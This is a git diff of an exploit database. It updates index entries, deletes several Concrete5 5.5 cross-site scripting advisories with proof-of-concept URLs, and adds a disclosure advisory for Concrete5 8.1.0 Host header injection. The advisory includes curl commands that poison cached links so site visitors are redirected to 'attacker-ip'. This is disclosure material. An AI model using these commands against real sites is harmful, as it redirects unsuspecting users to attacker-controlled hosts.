diff --git a/files.csv b/files.csv index 81700c006..ab1927756 100644 --- a/files.csv +++ b/files.csv @@ -5466,7 +5466,7 @@ id,file,description,date,author,platform,type,port 41867,platforms/multiple/dos/41867.html,"Apple WebKit - 'JSC::B3::Procedure::resetReachability' Use-After-Free",2017-04-11,"Google Security Research",multiple,dos,0 41868,platforms/multiple/dos/41868.html,"Apple WebKit - 'Document::adoptNode' Use-After-Free",2017-04-11,"Google Security Research",multiple,dos,0 41869,platforms/multiple/dos/41869.html,"Apple WebKit - 'JSC::SymbolTableEntry::isWatchable' Heap Buffer Overflow",2017-04-11,"Google Security Research",multiple,dos,0 -41879,platforms/windows/dos/41879.txt,"Microsoft Windows Kernel win32k.sys - Multiple Bugs in the NtGdiGetDIBitsInternal System Call",2017-04-13,"Google Security Research",windows,dos,0 +41879,platforms/windows/dos/41879.txt,"Microsoft Windows Kernel - 'win32k.sys' Multiple Issues 'NtGdiGetDIBitsInternal' System Call",2017-04-13,"Google Security Research",windows,dos,0 41880,platforms/windows/dos/41880.cpp,"Microsoft Windows Kernel - 'win32kfull!SfnINLPUAHDRAWMENUITEM' Stack Memory Disclosure",2017-04-13,"Google Security Research",windows,dos,0 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0 @@ -8939,7 +8939,7 @@ id,file,description,date,author,platform,type,port 41871,platforms/solaris/local/41871.sh,"Solaris 7 < 11 (x86 / SPARC) - 'EXTREMEPARR' dtappgather Privilege Escalation",2017-04-12,"Hacker Fantastic",solaris,local,0 41873,platforms/osx/local/41873.sh,"GNS3 Mac OS-X 1.5.2 - 'ubridge' Privilege Escalation",2017-04-13,"Hacker Fantastic",osx,local,0 41875,platforms/linux/local/41875.py,"PonyOS 4.0 - 'fluttershy' LD_LIBRARY_PATH Local Kernel Exploit",2017-04-02,"Hacker Fantastic",linux,local,0 -41878,platforms/windows/local/41878.txt,"Adobe Creative Cloud Desktop Application <= 4.0.0.185 - Privilege Escalation",2017-04-13,hyp3rlinx,windows,local,0 +41878,platforms/windows/local/41878.txt,"Adobe Creative Cloud Desktop Application < 4.0.0.185 - Privilege Escalation",2017-04-13,hyp3rlinx,windows,local,0 1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80 2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80 5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139 @@ -35533,10 +35533,6 @@ id,file,description,date,author,platform,type,port 37224,platforms/php/webapps/37224.txt,"Yandex.Server 2010 9.0 - 'text' Parameter Cross-Site Scripting",2012-05-21,MustLive,php,webapps,0 37225,platforms/php/webapps/37225.pl,"Concrete CMS < 5.5.21 - Multiple Vulnerabilities",2012-05-20,AkaStep,php,webapps,0 37226,platforms/php/webapps/37226.txt,"Concrete5 FlashUploader - Arbitrary '.SWF' File Upload",2012-05-20,AkaStep,php,webapps,0 -37227,platforms/php/webapps/37227.txt,"Concrete5 - index.php/tools/required/files/replace searchInstance Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0 -37228,platforms/php/webapps/37228.txt,"Concrete5 - index.php/tools/required/files/add_to searchInstance Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0 -37229,platforms/php/webapps/37229.txt,"Concrete5 - index.php/tools/required/files/Permissions searchInstance Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0 -37230,platforms/php/webapps/37230.txt,"Concrete5 - index.php/tools/required/Dashboard/sitemap_data.php Multiple Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0 37350,platforms/php/webapps/37350.txt,"AdaptCMS 2.0.2 TinyURL Plugin - 'index.php' id Parameter SQL Injection",2012-06-03,KedAns-Dz,php,webapps,0 37351,platforms/php/webapps/37351.txt,"AdaptCMS 2.0.2 TinyURL Plugin - admin.php Multiple Parameter SQL Injection",2012-06-03,KedAns-Dz,php,webapps,0 37352,platforms/php/webapps/37352.txt,"Ignite Solutions CMS - 'car-details.php' SQL Injection",2012-06-03,Am!r,php,webapps,0 @@ -35578,12 +35574,6 @@ id,file,description,date,author,platform,type,port 37272,platforms/jsp/webapps/37272.txt,"ZCMS 1.1 - Multiple Vulnerabilities",2015-06-12,hyp3rlinx,jsp,webapps,8080 37274,platforms/php/webapps/37274.txt,"WordPress Plugin SE HTML5 Album Audio Player 1.1.0 - Directory Traversal",2015-06-12,"Larry W. Cashdollar",php,webapps,80 37275,platforms/php/webapps/37275.txt,"WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload",2015-06-12,"Larry W. Cashdollar",php,webapps,80 -37277,platforms/php/webapps/37277.txt,"Concrete5 - index.php/tools/required/files/search_dialog ocID Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0 -37278,platforms/php/webapps/37278.txt,"Concrete5 - index.php/tools/required/files/customize_search_columns searchInstance Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0 -37279,platforms/php/webapps/37279.txt,"Concrete5 - index.php/tools/required/files/search_results searchInstance Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0 -37280,platforms/php/webapps/37280.txt,"Concrete5 - index.php/tools/required/sitemap_search_selector Multiple Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0 -37281,platforms/php/webapps/37281.txt,"Concrete5 - index.php/tools/required/files/import Multiple Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0 -37282,platforms/php/webapps/37282.txt,"Concrete5 - index.php/tools/required/files/bulk_properties searchInstance Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0 37283,platforms/php/webapps/37283.txt,"AZ Photo Album - Cross-Site Scripting / Arbitrary File Upload",2012-05-20,"Eyup CELIK",php,webapps,0 37316,platforms/php/webapps/37316.txt,"phpCollab 2.5 - Unauthenticated Direct Request Multiple Protected Page Access",2012-05-24,"team ' and 1=1--",php,webapps,0 37354,platforms/php/webapps/37354.py,"Bigware Shop 2.1x - 'main_bigware_54.php' SQL Injection",2012-06-05,rwenzel,php,webapps,0 @@ -37754,3 +37744,4 @@ id,file,description,date,author,platform,type,port 41881,platforms/multiple/webapps/41881.html,"agorum core Pro 7.8.1.4-251 - Cross-Site Request Forgery",2017-04-13,"SySS GmbH",multiple,webapps,0 41882,platforms/multiple/webapps/41882.html,"agorum core Pro 7.8.1.4-251 - Persistent Cross-Site Scripting",2017-04-13,"SySS GmbH",multiple,webapps,0 41884,platforms/php/webapps/41884.rb,"Alienvault OSSIM/USM 5.3.4/5.3.5 - Remote Command Execution (Metasploit)",2017-04-13,"Peter Lapp",php,webapps,0 +41885,platforms/php/webapps/41885.txt,"Concrete5 8.1.0 - 'Host' Header Injection",2017-04-14,hyp3rlinx,php,webapps,0 diff --git a/platforms/php/webapps/37227.txt b/platforms/php/webapps/37227.txt deleted file mode 100755 index 27da3e450..000000000 --- a/platforms/php/webapps/37227.txt +++ /dev/null @@ -1,15 +0,0 @@ -source: http://www.securityfocus.com/bid/53640/info - -Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input. - -1. Multiple cross-site scripting vulnerabilities - -2. An arbitrary-file-upload vulnerability - -3. A denial-of-service vulnerability - -An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. - -Concrete CMS versions 5.5 and 5.5.21 are vulnerable. - -http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/replace?searchInstance=">&fID=4 \ No newline at end of file diff --git a/platforms/php/webapps/37228.txt b/platforms/php/webapps/37228.txt deleted file mode 100755 index 0012a92a1..000000000 --- a/platforms/php/webapps/37228.txt +++ /dev/null @@ -1,15 +0,0 @@ -source: http://www.securityfocus.com/bid/53640/info - -Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input. - -1. Multiple cross-site scripting vulnerabilities - -2. An arbitrary-file-upload vulnerability - -3. A denial-of-service vulnerability - -An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. - -Concrete CMS versions 5.5 and 5.5.21 are vulnerable. - -http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/add_to?searchInstance=">&fID=owned \ No newline at end of file diff --git a/platforms/php/webapps/37229.txt b/platforms/php/webapps/37229.txt deleted file mode 100755 index 0a401b16d..000000000 --- a/platforms/php/webapps/37229.txt +++ /dev/null @@ -1,15 +0,0 @@ -source: http://www.securityfocus.com/bid/53640/info - -Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input. - -1. Multiple cross-site scripting vulnerabilities - -2. An arbitrary-file-upload vulnerability - -3. A denial-of-service vulnerability - -An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. - -Concrete CMS versions 5.5 and 5.5.21 are vulnerable. - -http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/permissions?searchInstance=">&fID=owned \ No newline at end of file diff --git a/platforms/php/webapps/37230.txt b/platforms/php/webapps/37230.txt deleted file mode 100755 index a9bdd5552..000000000 --- a/platforms/php/webapps/37230.txt +++ /dev/null @@ -1,15 +0,0 @@ -source: http://www.securityfocus.com/bid/53640/info - -Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input. - -1. Multiple cross-site scripting vulnerabilities - -2. An arbitrary-file-upload vulnerability - -3. A denial-of-service vulnerability - -An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. - -Concrete CMS versions 5.5 and 5.5.21 are vulnerable. - -http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/dashboard/sitemap_data.php?instance_id=">&node=owned&display_mode=full&select_mode=&selectedPageID= \ No newline at end of file diff --git a/platforms/php/webapps/37277.txt b/platforms/php/webapps/37277.txt deleted file mode 100755 index d5bdc1d03..000000000 --- a/platforms/php/webapps/37277.txt +++ /dev/null @@ -1,15 +0,0 @@ -source: http://www.securityfocus.com/bid/53640/info - -Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input. - -1. Multiple cross-site scripting vulnerabilities - -2. An arbitrary-file-upload vulnerability - -3. A denial-of-service vulnerability - -An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. - -Concrete CMS versions 5.5 and 5.5.21 are vulnerable. - -http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/search_dialog?ocID=">&search=1 \ No newline at end of file diff --git a/platforms/php/webapps/37278.txt b/platforms/php/webapps/37278.txt deleted file mode 100755 index 81dcfb79e..000000000 --- a/platforms/php/webapps/37278.txt +++ /dev/null @@ -1,15 +0,0 @@ -source: http://www.securityfocus.com/bid/53640/info - -Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input. - -1. Multiple cross-site scripting vulnerabilities - -2. An arbitrary-file-upload vulnerability - -3. A denial-of-service vulnerability - -An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. - -Concrete CMS versions 5.5 and 5.5.21 are vulnerable. - -http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/customize_search_columns?searchInstance="> \ No newline at end of file diff --git a/platforms/php/webapps/37279.txt b/platforms/php/webapps/37279.txt deleted file mode 100755 index 4fc4a4582..000000000 --- a/platforms/php/webapps/37279.txt +++ /dev/null @@ -1,15 +0,0 @@ -source: http://www.securityfocus.com/bid/53640/info - -Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input. - -1. Multiple cross-site scripting vulnerabilities - -2. An arbitrary-file-upload vulnerability - -3. A denial-of-service vulnerability - -An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. - -Concrete CMS versions 5.5 and 5.5.21 are vulnerable. - -http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/search_results?submit_search=123&ocID=123&searchType=&searchInstance=&searchInstance=&ccm_order_by=fvDateAdded&ccm_order_dir=asc&searchType=123 &searchInstance="> \ No newline at end of file diff --git a/platforms/php/webapps/37280.txt b/platforms/php/webapps/37280.txt deleted file mode 100755 index 093246db9..000000000 --- a/platforms/php/webapps/37280.txt +++ /dev/null @@ -1,15 +0,0 @@ -source: http://www.securityfocus.com/bid/53640/info - -Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input. - -1. Multiple cross-site scripting vulnerabilities - -2. An arbitrary-file-upload vulnerability - -3. A denial-of-service vulnerability - -An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. - -Concrete CMS versions 5.5 and 5.5.21 are vulnerable. - -http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/sitemap_search_selector?select_mode=move_copy_delete&cID="> \ No newline at end of file diff --git a/platforms/php/webapps/37281.txt b/platforms/php/webapps/37281.txt deleted file mode 100755 index 90d9eca0b..000000000 --- a/platforms/php/webapps/37281.txt +++ /dev/null @@ -1,17 +0,0 @@ -source: http://www.securityfocus.com/bid/53640/info - -Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input. - -1. Multiple cross-site scripting vulnerabilities - -2. An arbitrary-file-upload vulnerability - -3. A denial-of-service vulnerability - -An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. - -Concrete CMS versions 5.5 and 5.5.21 are vulnerable. - -http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/import?ocID=">&searchInstance=file1337335625 - -http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/import?ocID=13&searchInstance="> \ No newline at end of file diff --git a/platforms/php/webapps/37282.txt b/platforms/php/webapps/37282.txt deleted file mode 100755 index d036628b9..000000000 --- a/platforms/php/webapps/37282.txt +++ /dev/null @@ -1,16 +0,0 @@ -source: http://www.securityfocus.com/bid/53640/info - -Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input. - -1. Multiple cross-site scripting vulnerabilities - -2. An arbitrary-file-upload vulnerability - -3. A denial-of-service vulnerability - -An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. - -Concrete CMS versions 5.5 and 5.5.21 are vulnerable. - -http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/bulk_properties/?&fID[]=17&uploaded=true&searchInstance="> -&fid=VALID_ID_OF_IAMGE \ No newline at end of file diff --git a/platforms/php/webapps/41885.txt b/platforms/php/webapps/41885.txt new file mode 100755 index 000000000..51259b989 --- /dev/null +++ b/platforms/php/webapps/41885.txt @@ -0,0 +1,135 @@ +[+] Credits: John Page a.k.a hyp3rlinx +[+] Website: hyp3rlinx.altervista.org +[+] Source: http://hyp3rlinx.altervista.org/advisories/CONCRETE5-v8.1.0-HOST-HEADER-INJECTION.txt +[+] ISR: ApparitionSec + + + +Vendor: +================== +www.concrete5.org + + + +Product: +================ +concrete5 v8.1.0 + +concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets. + + +Vulnerability Type: +====================== +Host Header Injection + + + +CVE Reference: +============== +CVE-2017-7725 + + + +Security Issue: +================ +If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the +"collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header. +Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website. + +Example MySQL data from "CollectionVersionBlocksOutputCache" table. + +(164, 1, 57, 'Header Site Title', 'Elemental', 1649861489 + + +e.g. + +c:\> curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" | more + + + + + + + + +Services :: POC + + + + + + + +Exploit: +========= + +curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/team/faq -H "Host: attacker-ip" +curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" +curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio -H "Host: attacker-ip" + +Navigate to one of these URLs: + +http://VICTIM-IP/concrete5-8.1.0/index.php/services +http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio + +Click on links in header portion of the webpage from one of the above URLs. + +Services +Portfolio +Team / Drop down Menu +Blog +Contact + +OR + +click on the links on footer portion of the webpage. + +FAQ / Help +Case Studies +Blog +Another Link +View on Google Maps + + +Result: user gets redirected to attacker-ip. + + + +Network Access: +=============== +Remote + + + +Severity: +========= +High + + + +Disclosure Timeline: +====================================================== +Vendor Notification : April 11, 2017 +Vendor reply: "this is a known issue" : April 12, 2017 +Requested a CVE from mitre. +CVE assigned : April 12, 2017 +April 13, 2017 : Public Disclosure + + + +[+] Disclaimer +The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. +Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and +that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit +is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility +for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information +or exploits by the author or elsewhere. All content (c). \ No newline at end of file